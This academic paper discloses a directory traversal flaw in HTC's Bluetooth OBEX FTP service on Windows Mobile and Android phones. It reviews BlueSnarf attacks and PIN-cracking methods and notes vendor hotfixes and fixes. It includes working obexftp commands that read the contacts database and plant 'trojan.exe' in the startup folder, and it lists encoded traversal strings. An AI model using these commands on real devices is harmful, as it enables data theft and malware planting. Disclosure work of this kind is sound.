BlueSnarf Revisited: OBEX FTP Service Directory Traversal

Alberto Moreno, Eiji Okamoto

BlueSnarf revisited: OBEX FTP service directory traversal

Alberto Moreno and Eiji Okamoto

Laboratory of Cryptography and Information Security
University of Tsukuba, 1-1-1 Tennodai, Tsukuba, Ibaraki 305-8573, Japan
alberto@cipher.risk.tsukuba.ac.jp,okamoto@risk.tsukuba.ac.jp

Abstract. As mobile operating systems reach the same level of complexity of computer operating systems, these may be affected by the same vulnerabilities and may be subject to the same kind of attacks. Bluetooth provides connectivity to a mobile phone but this network can also be used as a channel to deploy attacks and access its resources, such as personal information, confidential files or the possibility of making phone calls and consume the user's balance. When the first attacks to early Bluetooth mobile phones came up, manufacturers were forced to raise awareness about Bluetooth and make improvements in the security of the implementation. In spite of the improvements, we introduce a multi-platform vulnerability for mobile phones that allows a remote attacker to list arbitrary directories, and read and write arbitrary files via Bluetooth. Our experience shows that the attack can be performed in a real environment and it may lead to data theft.

Keywords: Bluetooth, mobile phones, exploit, data theft

1 Introduction

In a world that demands increasing levels of productivity the power and connectivity of the mobile phone has risen to meet the computer. Mobile operating systems turn as complex as computer operating systems and whilst capabilities to run applications grow, so does the potential security threat. It is not surprising that mobile phones already began to be affected by the same kind of security flaws as computers. In this paper we focus on attacks to mobile phones via Bluetooth and we show that this network can be used as a channel to run exploits originally aimed at computers.

Bluetooth is a widespread technology integrated in a large range of mobile phones from feature phones to smartphones. The technology is suitable for this class of equipment because of its multiple advantages: globally accessible, designed for low-power consumption and based on low-cost transceiver microchips.

Since its inception, Bluetooth has been subject of study from the point of view of the security and several attacks to mobile phones have been disclosed. Our contribution is the discovery of a multi-platform vulnerability for mobile phones which may lead to data theft.

2 Overview of Bluetooth

Bluetooth is the specification that defines a global standard for wireless communications in personal area networks. It allows the transmission of voice and data among different pieces of equipment through a radio frequency link in mobile environments.

The specification is based on a multi-layer protocol architecture. Above the protocols we find the Bluetooth profiles, which are generic definitions of usage models of Bluetooth. Each definition uses a particular configuration of protocols so the functionality of Bluetooth varies depending on the profile used by two devices to communicate.

2.1 Bluetooth profiles

At the time the standard was developed, the Bluetooth Special Interest Group (SIG) identified certain scenarios in which Bluetooth could allow two devices to communicate wirelessly, and defined each one in a Bluetooth profile [1]. Some examples of usage models are wireless voice transmission between a mobile phone and handsfree headset, wireless networking between computers, wireless connection between a computer and I/O peripherals, and data exchange. For each application there is a specific Bluetooth profile, which may or may not be implemented in the Bluetooth stack by decision of the manufacturer; however, if implemented, the manufacturer shall follow the definition by Bluetooth SIG. This guarantees the interoperability between devices regardless of the vendor. If two devices of different kinds and different vendors comply with the same Bluetooth profile, we can expect these to interact properly in a given scenario.

All Bluetooth profiles intended for the usage model of data exchange are based on a generic profile called Generic Object Exchange Profile (GOEP). This profile defines the characteristics for the transfer of files and pieces or information such as business cards or meeting appointments, frequently knowns as *objects* between devices via Bluetooth.

The Generic Object Exchange Profile (GOEP) is based on the OBject EXchange (OBEX) communications protocol, which is maintained by the Infrared Data Association (IrDA). It was originally designed for the exchange of objects via infrared but it has also been adopted by Bluetooth. OBEX functions as a client-server protocol and it provides the capability for sending and receiving data. A client may send objects to a server by using the command OBEX PUT; or request objects from a server by using the command OBEX GET.

Object Push Profile (OPP) and File Transfer Profile (FTP) are two profiles intended for data exchange associated to the Generic Object Exchange Profile (GOEP). Both profiles act like an interface to the file system of a Bluetooth capable device and for this reason in this paper we analyze these from the perspective of security. There exists a potential risk in which these profiles may be exploited with malicious behavior in order to access arbitrary files without user consent, this means data theft. Hence, there is a obvious necessity to provide the Bluetooth protocol with sufficient robust security mechanisms.

2.2 Security mechanisms in Bluetooth

Bluetooth technology incorporates two mechanisms that strengthen the security of the protocol: authentication and authorization.

Authentication is the procedure which ensures that a device attempting a connection is indeed who it claims to be. When two devices agree to first establish a link, they must follow a process known as *pairing*. There are two types of pairing systems depending on the specification of Bluetooth: Legacy Pairing, which is followed by devices with Bluetooth version 2.0 and prior, and Secure Simple Pairing, introduced in Bluetooth version 2.1. At the end of the pairing process a secret link key is created and stored by both devices, this is understood as a trust relationship between devices.

The security function of authentication uses the link key generated after the pairing process and requires no user interaction. It is based on a challenge-response scheme between devices sharing a secret link key. If the scheme is satisfied by both parts the connection is established. If one or both parts do not satisfy the challenge-response scheme because the link key cannot be provided, either because it was never created before or it was already deleted, then the pairing process is initiated.

Authorization is the procedure that determines whether a requesting device is allowed to access to a particular Bluetooth profile. Generally, this procedure requires user interaction as the owner of the device must manually grant the permission for the remote device to access the Bluetooth profile.

Authorization and authentication are independent mechanisms. A device already paired will satisfy authentication, however it may require manual authorization prior to establishing a connection to any profile.

The specification says that these security mechanisms should be implemented for incoming connections to the Bluetooth profiles, but as we will see in the next section that was not a common practice followed by manufacturers in early Bluetooth capable mobile phones.

3 Exploiting Bluetooth profiles oriented to file transfer for fun and profit

The mobile phone is one popular piece of equipment which embraced Bluetooth from the earliest stages of the technology. The implementation of Bluetooth in mobile phones soon lured the attention of security researchers interested in exploiting the resources offered by this kind of device: personal information, phone calls, sms, etc. Furthermore, the abuse in part of these resources had a direct impact on the user's balance, there was an economic risk.

First attacks came up very soon. Attacks were mainly driven by exploiting a vulnerability in a particular Bluetooth profile due to incorrect implementation by the manufacturer. Some of the attacks [2, 3] aimed to exploit Bluetooth profiles oriented to file transfer, such as the Object Push Profile (OPP) and the File Transfer Profile (FTP), since these provide an interface to access the file system

of the mobile phone; some other attacks [4–6] focused on Bluetooth profiles that provide an interface to the AT commands console, such as the Dial Up Networking Profile (DUN) and the Headset Profile (HSP), in order to access the modem in the mobile phone and be able to make phone calls.

The first major security issue related to Bluetooth mobile phones was published in 2003. It was called BlueSnarf [2]. The BlueSnarf attack was based on the extraction of known filenames by establishing a connection to the Object Push Profile (OPP), which in case of early mobile phones did not require authentication. The purpose of the Object Push Profile (OPP) is the rapid exchange of objects such as business cards and meeting appointments between devices by using the command OBEX PUT. The attack exploited the lack of security mechanisms and the incorrect implementation of the OPP service by manufacturers, which allowed the execution of the command OBEX GET to retrieve files with known filename, such as the phone book stored in `telecom/pb.vcf` and the appointment calendar stored in `telecom/cal.vs`, without user consent. The vulnerability affected early handsets from vendors such as Motorola, Nokia, Sony-Ericsson and Siemens.

Later in 2005, the BlueSnarf attack was developed into a variation called BlueSnarf++ [3]. The main difference introduced by this attack was that instead of connecting through the Object Push Profile (OPP), a profile meant to send files only, the attacker could connect through the File Transfer Profile (FTP), which supports a larger range of operations and neither required authentication in early Bluetooth mobile phones. The OBEX FTP server supports send and receive operations and also list operation. Therefore, the attacker no longer needed to previously know the pathname of the file to download because the file system could be browsed. In first implementations, the OBEX FTP server was not restricted to a specific directory in the file system so the attacker could access arbitrary folders in the memory of the mobile phone or the external storage card, and read or write arbitrary files. Other supported operations included removal and overwriting of existing files.

Manufacturers were informed about these security issues but at that time they had no chance to issue an installable hotfix for the vulnerable products. The only possible action was to upgrade the firmware for upcoming models.

Anyway, the disclosure of this kind of attacks made an impact in the industry of mobile phones because it forced manufacturers to raise awareness about the security of Bluetooth. Successive models implemented security mechanisms of authentication and authorization to access Bluetooth profiles. Manufacturers also learned to properly configure a restricted directory for the FTP server so it presented no risk for the information system. The improvements seemed to be significant, in case any attacker aimed to break into the file system of a mobile phone, he would need to overcome two hurdles: the security mechanisms required to connect the File Transfer Profile (FTP) and the limited accessibility restricted by the directory where the FTP server is configured. These, however, are no longer big obstacles from our perspective.

3.1 On overcoming the security mechanisms

The first hurdle is related to an old problem that has been subject of study since the earliest stages of Bluetooth: how to overcome the security mechanisms built in Bluetooth. The standard procedure would be to simply pair up with the device. Actually this could be achieved by means of social engineering, if the attacker managed to persuade the user to pair up his mobile phone, but users of Bluetooth devices have become more cautious over the years.

Nevertheless, pairing is not the only option. It has been demonstrated that authentication can be broken if it is possible to eavesdrop the pairing of two given devices using Legacy Pairing, which is followed whenever at least one of the devices uses Bluetooth specification version 2.0 or prior, still a large portion of mobile phones in the market.

To succeed in eavesdropping the Bluetooth Legacy Pairing the attacker would need to use a Bluetooth sniffer, something that can be built from a consumer Bluetooth dongle [13]. The sniffer would allow the attacker to capture the packets transmitted during the pairing conversation of two devices and unwhiten the data revealing the temporary keys exchanged [14, 15]. From this point, as explained in [9], the link key generated from the pairing algorithm can be cryptographically broken by brute forcing the PIN input until the temporary keys generated through out the algorithm match the temporary keys captured during the pairing. The response speed in software implementations [10, 12] on a Dual Core P4 2GHz is 0.035 seconds to crack a 4 digit PIN code and 117 seconds to crack an 8 digit PIN code; meanwhile in FPGA implementations it takes 0.001 seconds and 5.6 seconds respectively [11]. Considering this short period of time, we have succeeded in performing the attack in a real-time pairing scenario. Once obtained the link key, it becomes trivial for the attacker to impersonate one of the devices to satisfy the challenge-response scheme on the other, since the security function of authentication is based on the shared link key and the Bluetooth MAC address, which can be spoofed.

It may seem that whether two devices are already paired and communicating it would be impossible for the attacker to capture the temporary keys and crack the link key; however, in fact it would be easy to break the pairing relationship and force the devices to re-initiate the pairing process in order to eavesdrop it, as demonstrated in [9].

Authentication in Secure Simple Pairing, only used by recent Bluetooth 2.1 mobile phones, remains unbroken for the time being, although first security issues have appeared [16].

3.2 On overcoming the restriction to access the file system

Our contribution is related to the second hurdle. We present a vulnerability that can be exploited to overcome the restriction to access the file system through the File Transfer Profile (FTP). This profile may require going through the security mechanisms, so after obtaining the proper authentication and authorization privileges, by any of the methods described, from now on we assume that the attacker can successfully establish a connection to the File Transfer Profile (FTP).

4 The OBEX FTP service directory traversal vulnerability

HTC[1] mobile phones running Windows Mobile and Android are prone to a directory traversal vulnerability that allows a remote attacker to list arbitrary directories, and read and write arbitrary files.

The vulnerability affects up to 20 Windows Mobile-based mobile phones shipped throughout 2008-2009 and up to 10 Android-based mobile phones shipped throughout 2010-2011.

4.1 The OBEX FTP service

The OBEX FTP service is a software implementation of the File Transfer Profile (FTP). The File Transfer Profile (FTP) is intended for data exchange and it is based on the OBEX communications client-server protocol. The service is present in a large number of Bluetooth mobile phones, for example we used HTC Wildfire, HTC Desire HD and HTC Touch Pro for our research. The service can be discovered in devices nearby by sending Service Discovery Protocol (SDP) queries.

The following example is the output of a command for finding near devices supporting the File Transfer Profile (FTP) with sdptool, a tool available in Linux from kernel versions 2.4.6. Given the known profile name FTP, the command searches for Bluetooth devices nearby and inquires whether the File Transfer Profile (FTP) is supported.

```
gospel@ubuntu:~$ sdptool search FTP
Inquiring ...
Searching for FTP on 90:21:55:8C:2C:3A ...
Service Name: OBEX File Transfer
Service RecHandle: 0x10006
Service Class ID List:
  "OBEX File Transfer" (0x1106)
Protocol Descriptor List:
  "L2CAP" (0x0100)
  "RFCOMM" (0x0003)
    Channel: 4
  "OBEX" (0x0008)
Profile Descriptor List:
  "OBEX File Transfer" (0x1106)
    Version: 0x0100
```

In this case we assume that Bluetooth devices nearby are configured in discoverable or visible mode. In case the devices are configured in non-discoverable or invisible mode, the attacker may still be able to find these by other means [8, 14].

[1] HTC is the world's largest provider of Windows Mobile-based smart handheld devices and one of the largest provider of Android-based smart handheld devices.

The OBEX FTP service provides the user with capability to share files just by moving or copying these into the restricted directory configured strictly for the server. The directory may be either inside the memory of the device or in the storage card. In Windows Mobile, the restricted directory is located by default in the following path of the file system: `My Device\My Documents\Bluetooth Share`. In Android, it is located in the following path of the file system: `/sdcard`.

While the service remains active, other devices can connect to the OBEX FTP server to list the content and download or upload files. The server is accessible with any OBEX FTP client, such as ObexFTP [7], an open source implementation of OBEX protocol for Linux.

The following example is the output of a command for listing a directory with ObexFTP. Given the Bluetooth MAC address of the mobile phone and the path `/`*, the command retrieves the content of the root directory of the FTP server.*

```
gospel@ubuntu:~$ obexftp -b 90:21:55:8C:2C:3A -l "/"
Browsing 90:21:55:8C:2C:3A ...
Connecting..\done
Tried to connect for 83ms
Receiving "(null)"...|<?xml version="1.0"?>
<!DOCTYPE folder-listing SYSTEM "obex-folder-listing.dtd">
<folder-listing version="1.0">
 <folder name="LOST.DIR"/>
 <folder name=".footprints"/>
 <folder name="Music"/>
 <folder name="Photo"/>
 <file name="HTCDriver_2.0.7.17.exe" size="13702288" user-perm="R"
created="20100519T195058Z"/>
 <folder name="albumthumbs"/>
 <folder name="dcim"/>
 <folder name="rssreader"/>
</folder-listing>done
Disconnecting../done
```

The following example is the output of a command for downloading a file with ObexFTP. Given the Bluetooth MAC address of the mobile phone and the pathname `/Photo/01.jpg` *the command retrieves the file, which is inside a directory.*

```
gospel@ubuntu:~$ obexftp -b 90:21:55:8C:2C:3A -g "/Photo/01.jpg"
Browsing 90:21:55:8C:2C:3A ...
Connecting..\done
Tried to connect for 33ms
Receiving "/Photo/01.jpg"... Sending ""...|Sending "Photo".../done
/done
Disconnecting..-done
```

4.2 Implementation of the attack

We found it is possible to abuse the pathname parameter that is sent in a request to the OBEX FTP server in order to gain access to the entire file system of the mobile phone by performing a directory traversal.

A directory traversal is an exploit technique that gives access to restricted directories outside of the root directory of the server. The attack was original for HTTP servers back in 2000, for example it affected older versions of IIS and Apache servers.

To exploit the vulnerability, the sequence `"../"` should be inserted at the beginning of a pathname and the server would translate it as a reference to the directory located immediately above the current directory, the parent directory. For this reason the technique is also known as *dot-dot-slash* attack, directory climbing and backtracking.

We discovered we were able to perform with success the same directory traversal technique in the OBEX FTP service installed in HTC mobile phones running Windows Mobile and Android operating systems. A list of vulnerable versions is given in Table 1. Exploiting this issue allows a remote attacker, who previously owned authentication and authorization privileges, to list arbitrary directories, and read and write arbitrary files.

The OBEX FTP server is a 3rd party driver developed by HTC and installed on its devices running Windows Mobile and Android operating systems, so the vulnerability affects specifically to this manufacturer, but it might affect other manufacturers not aware of this security issue as well.

Table 1. HTC mobile phones affected by the vulnerability

Operating system	Windows Mobile	Android
Version	Windows Mobile 6 Professional	Android 2.1
	Windows Mobile 6 Standard	Android 2.2
	Windows Mobile 6.1 Professional	
	Windows Mobile 6.1 Standard	

4.3 Scope

The directory traversal allows the attacker to reach directories located beyond the root directory of the OBEX FTP server and carry out the actions described below:

1. **List arbitrary directories.** Any directory within the file system can be browsed. This includes the flash memory of the device, the external storage card and the internal mass storage memory integrated in some particular mobile phones.

The following example is the output of a command for listing a directory with ObexFTP. Given the Bluetooth MAC address of an HTC / Android based mobile phone and the path `../`, the command retrieves the content of the parent of the default directory of the FTP server, which happens to be the root directory of the disk file system.

```
gospel@ubuntu:~$ obexftp -b 90:21:55:8C:2C:3A -l "../"
Browsing 90:21:55:8C:2C:3A ...
Connecting..\done
Tried to connect for 29ms
Receiving "../"... Sending "..."...|done
/<?xml version="1.0"?>
<!DOCTYPE folder-listing SYSTEM "obex-folder-listing.dtd">
<folder-listing version="1.0">
 <parent-folder/>
 <folder name="sqlite_stmt_journals"/>
 <folder name="config"/>
 <folder name="sdcard"/>
 <folder name="d"/>
 <folder name="etc"/>
 <folder name="cache"/>
 <folder name="system"/>
 <folder name="sys"/>
 <folder name="sbin"/>
 <folder name="proc"/>
 <file name="logo.rle" size="11336" user-perm="R"
created="19700101T090000Z"/>
 <file name="init.rc" size="14664" user-perm="R"
created="19700101T090000Z"/>
 <file name="init.goldfish.rc" size="1677" user-perm="R"
created="19700101T090000Z"/>
 <file name="init.buzz.rc" size="3608" user-perm="R"
created="19700101T090000Z"/>
 <file name="init" size="107668" user-perm="R"
created="19700101T090000Z"/>
 <file name="default.prop" size="118" user-perm="R"
created="19700101T090000Z"/>
 <folder name="data"/>
 <folder name="root"/>
 <folder name="dev"/>
</folder-listing>done
Disconnecting..-done
```

2. **Read arbitrary files.** Any file located in the file system can be downloaded. This may lead to access confidential data such as contacts, messages, emails or temporary internet files.

The following example is the output of a command for downloading a file with ObexFTP. Given the Bluetooth MAC address of an HTC / Android based mobile phone and the pathname `../data/data/com.android.providers.contacts/databases/contacts2.db`*, the command retrieves the contacts database. Later, the database can be queried with SQL to obtain the contacts.*

```
gospel@ubuntu:~$ obexftp -b 90:21:55:8C:2C:3A -g "../data/data/
com.android.providers.contacts/databases/contacts2.db"
Browsing 90:21:55:8C:2C:3A ...
Connecting..\done
Tried to connect for 50ms
Receiving "../data/data/com.android.providers.contacts/
databases/contacts2.db"... Sending ".."...|Sending "data"...
/Sending "data"...-Sending "com.android.providers.contacts"...
\Sending "databases"...|done
/done
Disconnecting..-done
```

3. **Write arbitrary files.** It is possible to upload files to any directory within the file system. This may lead to code execution if the file is written into a startup folder.

   The following example is the output of commands for uploading a file and listing the destination directory with ObexFTP. Given the Bluetooth MAC address of an HTC / Windows Mobile based mobile phone and the pathname `\Windows\Startup`*, the command saves the file to the startup folder of Windows Mobile and it shall be executed the next time the operating system inits.*

```
gospel@ubuntu:~$ obexftp -b 00:21:BA:D4:72:28 -c "../../Windows
/StartUp" -p trojan.exe
Browsing 00:21:BA:D4:72:28 ...
Connecting..\done
Tried to connect for 20ms
Sending ".."...|Sending ".."../Sending "Windows"...-Sending
"StartUp"...\done
Sending "trojan.exe"...|done
Disconnecting../done

gospel@ubuntu:~$ obexftp -b 00:21:BA:D4:72:28 -l "../../Windows
/StartUp"
Browsing 00:21:BA:D4:72:28 ...
Connecting..\done
Tried to connect for 37ms
Receiving "../../Windows/StartUp"... Sending ".."...|Sending
".."../Sending "Windows"...-done
\<?xml version="1.0"?>
<!DOCTYPE folder-listing SYSTEM "obex-folder-listing.dtd">
<folder-listing version="1.0">
```

```
  <parent-folder name="Windows" />
  <file name="poutlook.lnk" created="20081021T030014Z"
size="14"/>
  <file name="trojan.exe" created="20101025T082104Z"
size="11"/>
  <file name="HTCStartUp.lnk" created="20081021T030014Z"
size="28"/>
</folder-listing>
done
Disconnecting..|done
```

4.4 Workaround

The directory traversal is a well-known exploit technique and the solutions to fix the flaw are far documented. There are multiple methods to detect and prevent directory traversal.

1. Parse the pathname and filter malicious characters such as: `../` or `..\`, `..\\` which also represent `../`, and so on. Also characters encoded using percent-encoding such as: `%2e%2e%2f` which represents `../`, `%2e%2e%5c` which represents `..\`, and so on. Also characters encoded using Unicode such as: `..%c0%af` which represents `../`, `..%c1%9c` which represents `..\`, and so on.
2. Process the pathname of the directory requested to list or the file requested to download, build the full path and prior to response, ensure it is inside the bounds of the root directory of the OBEX FTP server.
3. Implement *chroot jails* and specifically for the server process change the root directory of the file system for the directory where it is assumed the OBEX FTP server should operate only. The process would not be able to access directories or serve files outside its restricted directory.

The OBEX FTP service directory traversal for HTC devices running Windows Mobile [17] was discovered in 2009. The security hotfix [18] is yet available for download in the support site and users can manually install it in the device.

In 2011 we discovered that the vulnerability also affected to HTC devices running Android and we succeeded in collaborating with the vendor. HTC will soon begin to distribute over-the-air the security hotfix for the affected products as an automatic update.

5 Conclusion

This paper introduces a vulnerability in multi-platform mobile phones which can be exploited via Bluetooth for data theft purposes. We show how trivial it is for an attacker to access arbitrary files containing confidential information after obtaining the proper privileges for connecting the File Transfer Profile (FTP), as easy as pairing up.

Our intention is to stress that in spite of the improvements made in security after the publication of first attacks to early Bluetooth mobile phones, there still may exist issues that manufacturers should take into consideration, such as the possibility of bringing attacks from computer environments into mobile devices, just as we succeeded in demonstrating with the directory traversal.

Acknowledgments. We would like to thank Jean-Luc Beuchat for giving us much feedback on the paper.

References

1. Bluetooth SIG: Profiles overview, http://bluetooth.com/English/Technology/Works/Pages/Profiles_Overview.aspx
2. Adam Laurie and Marcel Holtmann: BlueSnarf, http://trifinite.org/trifinite_stuff_bluesnarf.html (2003)
3. Adam Laurie, Marcel Holtmann and Martin Herfurt: BlueSnarf++, http://trifinite.org/trifinite_stuff_bluesnarfpp.html (2005)
4. Martin Herfurt: BlueBug, http://trifinite.org/trifinite_stuff_bluebug.html (2004)
5. Adam Laurie: HeloMoto, http://trifinite.org/trifinite_stuff_helomoto.html (2004)
6. Kevin Finisterre: Blueline, Motorola Bluetooth Interface Dialog Spoofing Vulnerability, CVE-2006-1367 (2006)
7. Christian W. Zuckschwerdt: ObexFTP, http://dev.zuckschwerdt.org/openobex (2002)
8. Ollie Whitehouse: War Nibbling: Bluetooth Insecurity, http://www.atstake.com/research/reports/acrobat/atstake_war_nibbling.pdf (2003)
9. Yaniv Shaked and Avishai Wool: Cracking the Bluetooth PIN, Proceedings of the 3rd international conference on Mobile systems, applications, and services (mobisys05), Seattle, Washington (2005)
10. Thierry Zoller: BTCrack, http://secdev.zoller.lu/btcrack.zip (2007)
11. Thierry Zoller: Scheunentor Bluetooth, Heise Security konferenz, Hamburg (2007)
12. David Hulton: btpincrack, http://openciphers.sourceforge.net/oc/btpincrack.php (2006)
13. Max Moser: Busting the Bluetooth Myth - Getting RAW Access, http://packetstormsecurity.org/papers/wireless/busting_bluetooth_myth.pdf (2007)
14. Dominic Spill and Andrea Bittau: BlueSniff: eve meets alice and bluetooth, Proceedings of the first conference on First USENIX Workshop on Offensive Technologies, p.5-5, Boston, Massachusetts (2007)
15. Andrea Bittau: BTSniff, http://darkircop.org/bt/bt.tgz (2007)
16. Andrew Y. Lindell: Attacks on the Pairing Protocol of Bluetooth v2.1, Black Hat USA , Las Vegas, Nevada (2008)
17. Alberto Moreno Tablado: HTC / Windows Mobile OBEX FTP Service Directory Traversal Vulnerability, CVE-2009-0244 (2009)
18. HTC: Hotfix to enhance the security mechanism of Bluetooth service, http://www.htc.com/asia/SupportDownload.aspx?p_id=140&cat=0&dl_id=609 (2009)